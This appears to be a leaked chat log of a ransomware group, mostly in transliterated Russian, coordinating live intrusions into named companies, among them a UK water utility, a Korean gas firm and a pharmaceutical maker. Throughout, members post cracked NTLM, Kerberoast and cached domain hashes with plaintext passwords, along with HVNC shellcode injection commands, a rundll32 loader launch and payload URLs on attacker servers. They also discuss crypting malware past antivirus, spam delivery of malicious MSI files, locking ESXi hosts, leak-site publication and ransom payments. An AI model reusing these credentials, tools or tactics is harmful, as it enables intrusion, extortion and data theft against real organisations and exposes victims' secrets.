uhu

etogo ne videl

image.png

kak ti tam popal?

> <@cameron777:matrix.org> kak ti tam popal?

eto mozhet drugoy

shas zayti posmotret' ?

image.png

eto mozhet drugoy citrix

chto vklyucheo

* chto vklyucheno

tam v citrixe smotrish

right click na citrixe connection center

esli tam 2 ID

togda eto drugoy

ili mozhesh cherez domen posmotret'

тот же домен

no v celom tam cherez chrome mozhesh zapustit' dll

yasno ) ya otkril chrome ti popal tuda)

я про этот стол и говорил

nu shas ok robotaesh v nem ?

pogovoril s koderom skoro zaymyotsya s zapuskom iz pamyati

привет. можно попросить VPN надежный для работы сделать?

knscpa.com et propali ? vi zvonili im ?

да

супер

круто спасибо, только теперь где дабл, а где сингл?)

https://www.youtube.com/watch?v=KTB6qKbVdZE

Глазами SOC: типичные ошибки red team

Ок нештяк!

чуть позже поставлю пока пиздец тут с тимкой

научу его софтперфектом пользоваться и cme

что бы умел сканить через свои linux доступы сетки

мало ли попадется

```

adm_mishpra::SWS:317ac27fab821834df72c808d98e4830ea117955da04720d:317ac27fab821834df72c808d98e4830ea117955da04720d:1122334455667788:New$12345

Хорошо

adm_BhavanB::SWS:4f551a0bb41fa9300cb3092f62a2e4a4747fad8aee841f7c:4f551a0bb41fa9300cb3092f62a2e4a4747fad8aee841f7c:1122334455667788:Loukya@2021

++

ща

дак куда заходить то все таки я не понял

пиздец

я туда начал заходить и не коннектилось думал я что то делаю не так

X 2023-12-01 в 23.52.00.jpg

там все на месте стоит

SWS_adm_kekhash.txt

нажимаю ничего не происходит

переключается но все все равно стоит на месте

да

на сессию нажал два раза

пока что черное окно

какой то хуевый hvnc

прям пиздец))

у анубиса бы тот ))

о заработало

это просто ЁБАНЫЙ НАСРАЛ

X 2023-12-01 в 23.55.22.jpg

там еще ошибка

Plagins написано

$krb5tgs$23$*Srv_S1Admin$sws.int.southernwater.co.uk$MSSQLSvc/VISION.sws.int.southernwater.co.uk:61433@sws.int.southernwater.co.uk*$b6cd37.....065f452a1e41:M!crosoft@123456

хотя правильно будет Plugins

> <@usernamehunter:matrix.bestflowers247.online> $krb5tgs$23$*Srv_S1Admin$sws.int.southernwater.co.uk$MSSQLSvc/VISION.sws.int.southernwater.co.uk:61433@sws.int.southernwater.co.uk*$b6cd37.....065f452a1e41:M!crosoft@123456

как это бот там оказался?))))))) ВОБЩЕ В АХУЕ

аа понял

Fixomatic@123

$DCC2$10240#adm_vamsimk#ecd45850b010fb86ef0650a558aee75a

бля гребет я еще даже в cmd не попал

5bf8e4573be70c778b56c876cf411930

пиздосс(

X 2023-12-02 в 00.07.18.jpg

ну вот так пока что

прогресс стоит на месте

5bf8e4573be70c778b56c876cf411930:Wat3rL0gg3d

в офф сетки ушли, которые в работе были

хорошо

а автор сам в сети?

может он как то cmd запустит

я даже в cmd попасть не могу там все гребет все просто ебически

а как ты поднимешь если там все гребет

> <@usernamegg:matrix.bestflowers247.online> я ебал этот внц его

выбивай

жду онлайн

https://github.com/gatariee/Winton

смотри что нашел

но бинарник будет весить написано 7,5mb

да

X 2023-12-02 в 00.30.02.jpg

но вот что хуево

не шифрованное специально сделано общение

между имплантом и сервером)

прям по http открыто

специально сделано

хуйня короче получается либо дописывать что бы было шифрованное)

ну кто шуршит на голанге может дописать шифрование общения по сути

это по факту облегченная коба

`shinject 1452 x64 /home/worker23/Downloads/client.bin`

что с этим делать?

> <@usernamess:matrix.bestflowers247.online> `shinject 1452 x64 /home/worker23/Downloads/client.bin`

client.bin

а сам HVNC доступ где?

и зачем инжектить HVNC?

аа

понял

принял

https://t.me/true_secator/5156

nu da pro eto

poak eti v offe

chto to vishlo s water?

chto na rdp

> <@cameron777:matrix.org> chto to vishlo s water?

prignuli ili ostavili prosto ?

tam otkrito u menya ehso chrome

все, сделана она. DA есть(Ну или типо того)

щас крепанусь и спать

respect!

mogu dat' file

если что напишу

```

> <@username777:matrix.bestflowers247.online> ADM_pycrofj::SWS:b4f63c4aa49580b8ff05227d982aa94043f3309fb5d6c4e5:b4f63c4aa49580b8ff05227d982aa94043f3309fb5d6c4e5:1122334455667788:tEchn1cs1210mk2

NIP-BAR-VDA02_Accounts2_5E95ADC2

lawer

> <@cameron777:matrix.org> NIP-BAR-VDA02_Accounts2_5E95ADC2

mogu citrix otkrit'

u etogo lower mnogo klientov

W:\CLIENT FILES

++

до понедельника!

do ponedelnika!

не получилось?

https://github.com/skelsec/evilrdp

нихуя

я зашел в софт там бот оффлайн

и вышел с софта

Привет

Щас скину

client.bin

vot shellcode ot HVNC

вот его просто запусти на той тачке и все

вот доступ в админку

доступ в админку:

там можно сбилдить если что сразу

там есть exe, dll, shellcode

длл можно у ляписа крпиатнуть попробовать

если ты оплатил его

adm_ThakurS::SWS:7c8541492837ca61b99d50ff8e0d36ddab529ed950bfdab6:7c8541492837ca61b99d50ff8e0d36ddab529ed950bfdab6:1122334455667788:Wipro!sw7

privet vsem

est' admin dostup k citrixu no app locker ne puskaet zapustit' exe

Screenshot 2023-12-02 024239.png

mogu dat' citrix

> <@cameron777:matrix.org> est' admin dostup k citrixu no app locker ne puskaet zapustit' exe

tam shas AD DS tozhe otkroyu

13.52.211.166

zaxodi

RDP

sec

podkluychaysya

* podkluychaysya

vse podklyuchil

vse admini

++

firefox u nix otkrito exsxi no logina netu

* firefox u nix otkrito esxi no logina netu

viydet s etim chto to zdelat' ?

пробую

+

https://www.humansecurity.com/learn/blog/human-satori-threat-intelligence-alert-account-takeover-attacks-use-scrubcrypt-to-deploy-redline-stealer-malware

привет

залил на прокладку

ОПУБЛИКОВАТЬ

)

> <@cameron777:matrix.org> www.studiogc.com

super

я там протестил все , жду чтобы залили контейнер на выдачу и отдам ребятам

korea skgas.net

smotryu

ok

ok

kak segodnya to admin?

* kak segodnya tot admin?

www.studiogc.com zdelali

ok

ok super

a mne kto ix budet delat')

na dolgosrok)

da znayu ti govoril)

nu poka es't tema dumayu nelzya otxodit ot nee

* nu poka est' tema dumayu nelzya otxodit ot nee

> <@usernamegg:matrix.bestflowers247.online> уже все сложнее и сложнее

rashashit' nevozmozhon budet

nu i esho AI podklyuchat k robote

nu ya tozhe nashel

lnk

url trudno slat'

na copr microsofta

* na corp microsofta

url knopka

ne xodit

nado kakie to shamanckie veshi delat')

lyuboy link skidivaet v spam

shas smotryu poka chto mogu dat'

uhu

shas smotryu targeti

novie prishli no poka malo . tot kazus s traffom bilo

nado vse menyat'

click bot , ya dumayu narochno eto delaetsya

chtob ubrat' link s reklami

kucha traffa shlo no 0 zagruzok imenno s etogo istochnika

s binga

s google-om vse ok bilo

na meste ?

thilaka::SWS:811b007daf5e07a77af3a369657b102287921840fccb4e84:811b007daf5e07a77af3a369657b102287921840fccb4e84:1122334455667788:mW8dF5mG

* https://www.zoominfo.com/c/fonderie-di-montorso-spa/367606518

* https://www.zoominfo.com/c/fonderie-di-montorso-spa/367606518

* https://www.zoominfo.com/c/fonderie-di-montorso-spa/367606518

* https://www.zoominfo.com/c/fonderie-di-montorso-spa/367606518

* https://www.zoominfo.com/c/fonderie-di-montorso-spa/367606518

adm_RKeshaS::SWS:22fe1aa60da1397f036c54aa5a6b3d9798b3426026d3b2a1:22fe1aa60da1397f036c54aa5a6b3d9798b3426026d3b2a1:1122334455667788:v7n6ST9c

SRMCRDS04_marco.baraldi_5D493EA1

C:\Windows>nltest /domain_trusts /all_trusts

* Elenco dei trust tra domini:

https://www.zoominfo.com/c/fonderie-di-montorso-spa/367606518

beryote ? cirix tozhe est' poka chto

+

no ofnulsya

sec

бро сори проблема с ссылкой, мог бы кто-то у тебя сегодня сделать ?

или мой вернется завтра и сделает, форсмажер

лить все равно будем в пнд

a mnogo delali ?

a Kitay ? est' 2.7B

++

online IT

mogu dat' citrix

esho

tot chto zdelali dizaynerov zakrit' okna vse ?

na RDP

> <@usernamegg:matrix.bestflowers247.online> пока не нужно

да не можем залить на сервер

нужно залить на серв и сделать выдачу по ссылке

> <@usernamegg:matrix.bestflowers247.online> много, да , мы в месяц меньше 50 сеток раньше не ставили.

esli tupo vremya poteryaesh to ostav

в общем не заморачивайся, завтра спокойно сделаю к пнд будет готово

++

> <@usernamegg:matrix.bestflowers247.online> много, да , мы в месяц меньше 50 сеток раньше не ставили.

rbs.txt

> https://www.humansecurity.com/learn/blog/human-satori-threat-intelligence-alert-account-takeover-attacks-use-scrubcrypt-to-deploy-redline-stealer-malware

privet

да, пока тут, через минут 40 отьеду на пару часов

права пусть выдаст на исполнение файла

image.png

shas po traffu vozimsya

больше нечего добавить, локер не запускается даже, так что он не при чем

dumayu 2k xvat'it poka chto

может быть там esxi 8 защита, я хз, можно им нашу команду дать на ее отключение

shas cisco gruzhu

я ищу, пока не могу найти

bc1qqx5sc30j87094h7lt4an44s2c9fsjlths756a3

sps

```

da , no poka greyut akki

https://www.reddit.com/r/vmware/comments/13febnx/upgrading_firmware_on_esxi_80u1_operation_not/

взято отсюда

оригинал https://docs.vmware.com/en/VMware-vSphere/8.0/vsphere-security/GUID-DF6A7974-62F9-47DB-A990-963F3B3AEA77.html

tam tolko 2um trafferam vzyal adspect kloaku tam po 500$ kazhdi

es't kto za svoi lyot

* est' kto za svoi lyot

класс👌

здесь, понятно

никого нет)

Привет как ты там?

У меня если что завтра вечером, думаю к 21 по МСК уже все будет готово

Ну полностью по билду + MSI, который надо будет подписать и все

в MSI будет dll от пики

ну длка криптованая будет

на долго должно будет хватать такой связки

билдеры почти все дописал

билд вроде как чистый сам по себе, позже вечером сегодня проверю еще

ко скольки завтра

Привет, он сделал новые VPN не так как нужно

`RU - RO, сингл UK` - это то что его просили

Дабл NL > выход я не чекал

проверьте свои входы и выходы

это пиздец какая критическая ошибка

https://github.com/XiaoliChan/zerologon-Shot

доброе

Оки

Доброе утро!

да, пояставил

file: new N3 0311.txt

+

я просто еще думаю, а как нам слать

html может сделаю

https://github.com/skelsec/aardwolf

Asynchronous RDP/VNC client in Python

звучит как имба, не могу разобраться с хуйней этой

**Features**

```

* ```

Удалил повторы!

* ```

> <@usernameboy:matrix.bestflowers247.online> 31d6cfe0d16ae931b73c59d7e0c089c0:

28f1b8b7f5c507ae95b231e97e31487b:Ret17ire@Ret17ire@

а для msi нужны линки на дллку?

ок, сделаю

privet

* privet vsem

привет ++

> Возможные пароли:

http://149.28.80.91/zKlYC/{random}

Привет, щас постораюсь быстро тебе длл сделать, не обещаю, но стараюсь

Минут 30 отпишу, через сколько будет готово

так в итоге ты спам тоже будешь запускать?

> <@usernamegg:matrix.bestflowers247.online> заупск какой у длл будет ?

+++

скоро скину длку

щас делаю длку

rundll32 file.dll, En ter

> <@usernamegg:matrix.bestflowers247.online> ты вычистил там весь рантайм ?

спроси у бена, нормальный ли запуск?

ему подойдет Enter&

* ему подойдет Enter?

ага увидел сегодня

Enter

без пробела

rundll32 file.dll, Enter

jrtq

okey

rukami seychas delau

privet da

smotryu

+

ну так-то нам помощник норм может выдавать домены + впски

в общем я сделал html которые будут при отрктии выдавать msi

est' vot 2.4B

no ne pinguetsya domen zakrit inet

day file

po dnsu

https://www.zoominfo.com/c/ontex-bv/347357861

List of domain trusts:

nu vot

inet otklyuchen

nado po dnsu

fiel zapuskaetsya

* file zapuskaetsya

tolko nuzhno bistro

da

Name Count

скоро слипы выставлять начну) делать надо что-то, я уж линукс переставил

под работу впски

sec

ок

13.52.211.166

podklyuchaysya

tam powershell otkrito excel i provodnik

cmd otklyuchen

сижу терплю )

+

python .\aardwolf\examples\scanners\__main__.py -e -s all rdp+ntlm-pwprompt://Administrator:RkR0IzZRTFdtRm1jVnY5eEA=@144.202.114.128 144.202.114.128

выдает файлы

RDPLoginRes_20231204_045752.tsv

RDPCapabilitiesRes_20231204_045752.tsv

https://products.groupdocs.app/viewer/app/?lang=en&file=7750456a-afef-487b-a8de-abae7dd2e904%2FRDPLoginRes_20231204_045752.tsv

просматривал здесь

что за файлы выдает не понял

> <@usernamegg:matrix.bestflowers247.online> долго это ?

с результатом сканов

там таблица какая то, столбики непонятно названы

> <@usernameyy:matrix.bestflowers247.online> sent a file.

aardwolf\examples\scanners_main_.py у меня нет такого пути вобще

```

```

ниче не выдало

хуйня какая то

в папке где запускал файл

с рута

ardpscan он в bin лежит

в ~/

```

дак это тоже самое что и ardpscan

только авторизация не прошла и ничего не выдало у меня почему то

я не устанавливал в бин ничего, поэтому хз че там у тебя, выдает даже беды, у тебя должна быть выдача в ~/aardwolf/aardwolf/examples/scanners

`ardpscan -e -s all rdp+ntlm-pwprompt://Administrator:RkR0IzZRTFdtRm1jVnY5eEA=@144.202.114.128 144.202.114.128`

есть файлы

только меня с RDP не выкинуло почему то

бро привет

как вы ссылки шифруете при рассылке спама ?

у меня короче с самого утра все признаки диареи. но пока еще могу быть у компа

лекарства выпил, но лучше пока не стало

запустил медленный спам) с пдфками

вечером отпишусь как прошло

250 отправилось

4 сессиии не активные пришло

наверное в зале подцепил

но видимо инбоксит и люди переходят

так как у тренера похожие признаки

да, херовато, в пастеле лежу, но пока еще терпимо

> <@usernamegg:matrix.bestflowers247.online> ну дак они там со всем заруку здороваются

не, пока дома

со всех щлей промыло))

https://www.zoominfo.com/c/cr-reynolds-ltd/352833920

таблетку выпил, может полегчает

ну просто не факт что диарея

это не врач мне такой диагноз поставили)

ок, куплю, если с этих тамблетом лучше не станет за сутки)

ну девушка уже и так гоняла, вечером еще отправлю

beryote?

hi da

+

ладно, пока еще тут

ддлку мелкор хоть выдал?

ага понял, мы делали в свое время через капчу+клоаку

по итогу помогала хорошо капча..

```

ok

---

rhysidafc6lm7qa2mkiukbezh7zuth3i4wof4mh2audkymscjm6yegad.onion/

сделать с доменами ?

`irailde.oliveira::GLOBAL-ONT:1122334455667788:329de4ae0d4283fd9fe129645f790f20:0101000000000000b2d110439f26da012b7dc0000c34241200000000080030003000000000000000000000000020000034819e62cc8b555b691122e5fa2f9516778e4bc12231d3eff2bfddb7d0e4eda20a001000000000000000000000000000000000000900360047004c004f00420041004c002d004f004e0054005c0069007200610069006c00640065002e006f006c006900760065006900720061000000000000000000`

IRAILDE.OLIVEIRA::GLOBAL-ONT:1122334455667788:329de4ae0d4283fd9fe129645f790f20:0101000000000000b2d110439f26da012b7dc0000c34241200000000080030003000000000000000000000000020000034819e62cc8b555b691122e5fa2f9516778e4bc12231d3eff2bfddb7d0e4eda20a001000000000000000000000000000000000000900360047004c004f00420041004c002d004f004e0054005c0069007200610069006c00640065002e006f006c006900760065006900720061000000000000000000:Madona2020

GLOBAL-ONT_kekhash.txt

https://www.zoominfo.com/c/vyera-pharmaceuticals-llc/426712418

farma

ok

++ vzyal

ту позвать не могу

там деф

крипт жрет

даже самый последний

> <@usernamegg:matrix.bestflowers247.online> List of domain trusts:

https://gm-villa.com/Xix/{random}

делаю

отпишу

tut naputano chto-to

shell odin i tot je

sory shas

```

da ne smenil

shas

---

если отстук идет, нужно будет перекриптовать

отпишусь

* https://www.zoominfo.com/c/vyera-pharmaceuticals-llc/426712418

smenil

++

тестирую с откл дефом, так как файл палится

вот отписал упаковщик

shas pridet JJ sdelaet

я позвал ту что побольше

> [21:28:03] Bentli криптер vasishtha: #|y]gAci#F)E01VL7h)I*-+e[

ONTEX-NET_kekhash.txt

kushaet polagau

aga

kb.txt

закинул на сканер

статика чистейшая https://avcheck.net/id/2Tb2kq1d2CVs

сканер пиздец(

понял

FLYT.schwanshs.net

> <@cameron777:matrix.org> FLYT.schwanshs.net

image.png

`$krb5tgs$23$*Administrator$phoenixus.com$VeeamCdpSvc/PHX-BK01@phoenixus.com*$0E363A83C4F5D4B6C97932F1CCE9F770$7DDF0B3D9FF3DA4C9BA0A802B6062BDB3072C3DFD431D100D4677DBE409CC2BA3B327D1C110C91B7DA812BA817F1EA9DBCDC22F23C0DB484162B53842FCB2898B77264CFA3E1B37D74AA3125738813F5265A7FC269FCF833B365C3000CCC833F0F8203CFEE31E016A5B034382DADB1317A4D2670761B7F3831CED6A5AF8137A6FBFC34F5FFDF346F871B18D0528C3B6EB5DDC42046A11922EAC95B88ED4F3055D76DD339099494727A6D87962D1D50F222285979BCD7F3FC953A028E1E136A2A10190A3A60666A2599D90CBE2316E1EBF5B6BB734F9BE3D6E21A40FF19CB0C39C8551A30AA26BF1B01F51AFE975E98407982C3CD10988DBB5719DB093DEBC69A270B5ED0591DF9BFD1C75A409BB7093914A680AC46B2CF3559600686DFDBBD1E41D9679A03E8F4B58BBB2A5A6D49C358BD87853CC8EFE79BBDC05BEDBD375F63AC01E46087ACE7E183BCCB887B65A8E7C648A221DEF532D5708FD20FB19925D6A753CB3608EE6A50A96D57C80E6E3DA75C3C3CD8118225B580D1F92D425248CB0EE38F3C3121173DD72771E93A6BE9C10A66D19A97A1E95C176EF2213031318FBF1BC4DB0D41EB27CB4B5B768578C7F382E53E1A085F59439A12AFEDA4318D7379086CC84429D31F9A6A33F7D8EBA4D29ED96EA966DB17CCD09CB78215F8098313E2C88A8199035DB6887F323B06418C4DC8F7E71BDDC50BA3FB834FA6E21FDB60806A68DF281CD7A2C7E83014A9ACC88C27F54262A79E1F46CAAFC830878519FD750116376FDE88DDBF5805A9CBEB72CC11BCF6E25BBCE4A22FFDC8E6C3C27D8D6C5901029C026B8E46E97AB5294500B35711B624B1A5157EF4EAA57034B6A6FB0F0FADC9F884F12EB4E352E14D344753DCD0E9392A446CD59AF06C8984509191973BC7FFDE83DD2FF41162260B38988C50AC39B2ED253E7D5C7612796BAB114703127C7C2E927800471522A6F46422EABD7D0C5307094BB0A19952C01C8BA1FDB6672724E05C44188E41FB0D318AC93A6B989A44CD18731DFE160B558056464ECED342C4755DF5BFFC5CEE08D69A48584042017F4831EF9AC990E9E6F15C3752BA9086BDA81EB2AF720ED87DFE12308E08D7BE71AD2AC1518D0808FB317E31584C90D1366861BA3D5392DD58C1BCE1E922384C65359F64A6B20BFF32C81DB6ED6116649D0970BF75B59891FBC6F6FE2FCC96026F2665902BB9FBDB81FA92018E87F4CC1BF631DE5FD982488BCB57ED1F464169C945B944637CA85E88F0B72705FCE9A8B7F0F7BCC3CC826C78D7A3C8A9809F91247491B247CFF0DC0B81D9BC51EDD2894CD3FD8FD070FA1EF17ED9E7DBCB937244504E86FA5F23B5CFBB011DA245956C7D7AFCB72B66022E4C04895BC38CDE0AAD846831FAA14958EACF438868ADBF3BDD659EC3BCFC4A4F642FD8A8195AF35AB8643C46AD61B9BCD7797A6B4901830AE761056B47AB1320207E2C8A85ED27129A3D6F5BAAFD316DED5EE323D66C5EB8306BD0693AE709ABB7B1E8BD10D8905C31C1FEB48C3063EED10F51C252F543D40225C2905880F2FEF5F79AF5232354C93E0CFC3F3B5A85E8088312BB58878BFDBF75502EE5C6B545050E44CDA56FF52B4A04EB28C49DF14BD26AC66A4A7D7B75530C2837C8C70ED4111DCD4D4EA45C80FC5D77CF3CE30B6414DA669B5CE9EFF32679EF19F22FB1F23BBA6A7C591AC4D91E161A6E33C2193E4AA0A0A8932320EEEF0278F8FE24F59AD69170DDBE7645BF5BF9224B2680E4B85A663D0B4F625CF920D5080EBD`

комп садится сейчас перезайду. напиши как поступить с криптом плиз

RDP otklyuchilos ili citrix ?

esli citrix vozmozhno robotnik zashel

mogu otkrit'

tam file stuchitsya ? po dnsu ?

zapustil ?

nu shas mogu opyat' otkrit';

* nu shas mogu opyat' otkrit'

ok super

ok

ny.vyera.com_rub.txt

ok

nu ya sessiu esho derzhu chtob ne zakrilos

ok

skgas.net

* skgas.net

online

https://www.zoominfo.com/c/sk-gas-co-ltd/96748158

* skgas.net

Bot ID SKGWORK003_06992_61E08486

Все в работе, выкладывать или нет решайте сами.

++

> <@cameron777:matrix.org> Bot ID SKGWORK003_06992_61E08486

esho u nas bili da targeti na ponedelnik tot water company

chto zdelali DA no ne loknnuli

esho i dizayneri DA no bez loka

loknuli ?

ok super

++

super

c26.zip

Обойти деф

++

`it.support::NY:1122334455667788:797b3f6b8a7f7276972c5716277de6d7:010100000000000066b1a6f7a526da0168cfc8b06ecedb5e000000000800300030000000000000000000000000200000c9256379c5e9eed034c59c76179e314e8b18b1df0a4e7f8aa90a051504fd95d40a00100000000000000000000000000000000000090000000000000000000000`

IT.SUPPORT::NY:1122334455667788:797b3f6b8a7f7276972c5716277de6d7:010100000000000066b1a6f7a526da0168cfc8b06ecedb5e000000000800300030000000000000000000000000200000c9256379c5e9eed034c59c76179e314e8b18b1df0a4e7f8aa90a051504fd95d40a00100000000000000000000000000000000000090000000000000000000000:Test@123

++

kekhash.txt

привет

ты по одной конторе выводы не делай)

юзерс всегда стараемся качать

$krb5tgs$23$*skgAppStream$skgas.net$MSSQLSvc/elpgpdboxgNUIwS.skgas.net:1433*$82353fd000eb913cb2d...aa98bc0e1d:qwer1234!

++

базу данных конечно открывал, мы ее тут качали для точечного просыла, больше инфы не нашли

контора говно, инфа говно

5557500d-5353-438f-9657-7906fd77a485

еще несколько контор проставили, сейчас скину данные к ним для блога. И 1 контору выложить надо, сейчас скину данные

ответил он тебе по счет впн?

если прокладку ту же сделаю не страшно ведь?

когда я раньше был ответственный за впн всегда RU был вход и это был объязательно сервер, а не VPS, конкретно прям выделенный сервер пошифрованный

а здесь я так понял у нас все на фулл впс, и хуй пойми как сделано

шифрованные ли сервера, это сервера ли или vps

как сгенерирован сертификат

я там спросил по крипту у ребят, можно у них закриптовать?

otoydu na 20 min

НОВЫЕ КОТОРЫЕ ПРОСТАВИЛИ, две вышли уже

> <@usernamegg:matrix.bestflowers247.online> нам нужен страшный блог с сильными которами

ты предлагаешь мелкие конторы не выкладывать?

> <@usernamegg:matrix.bestflowers247.online> если даты мало или она херовая

таких контор как у тебя у нас пока нет

да я понимаю

та тут я

делаю

проблема 1 вылезла

решаю

не могу быстре

и так спешу

отпишу как будет

пункт 4.

последний пункт в каждой конторе, элемент макросы ставит

по старым кстати тишь, можно о них забыть?

$krb5tgs$23$*Administrator$ny.vyera.com$MSSQLSvc/admtpc.ny.vyera.com:SQLEXPRESS@ny.vyera.com*$f2cd647a9d8ef0cf20юююююю54bd680aa8323b155:P@$$m0rd_2021

одаа

чего не говорил)

++

бля это хорошая новость пздц

6млн получается?

> <@usernamejj:matrix.bestflowers247.online> sent a file.

> <@muaddib6:matrix.org> А это точно шелкоды? Что за софт?

почему-то у меня падают

от них 27проц?

я наконец-то не бомж и могу оплачивать свои расходы

ок

пару сек

через нашего бота?

c26_stager.zip

можно stager попробовать

скинь бота в которого делал инжект

+

щас проверю

нашим файлом это каким?

сейчас я запросил процессы у бота

и залью ему HVNC

проверю

1. 9060dcf9-7a3f-4cfe-a73f-5e2b22040330 ВЫШЛИ В ЧАТ !!!!!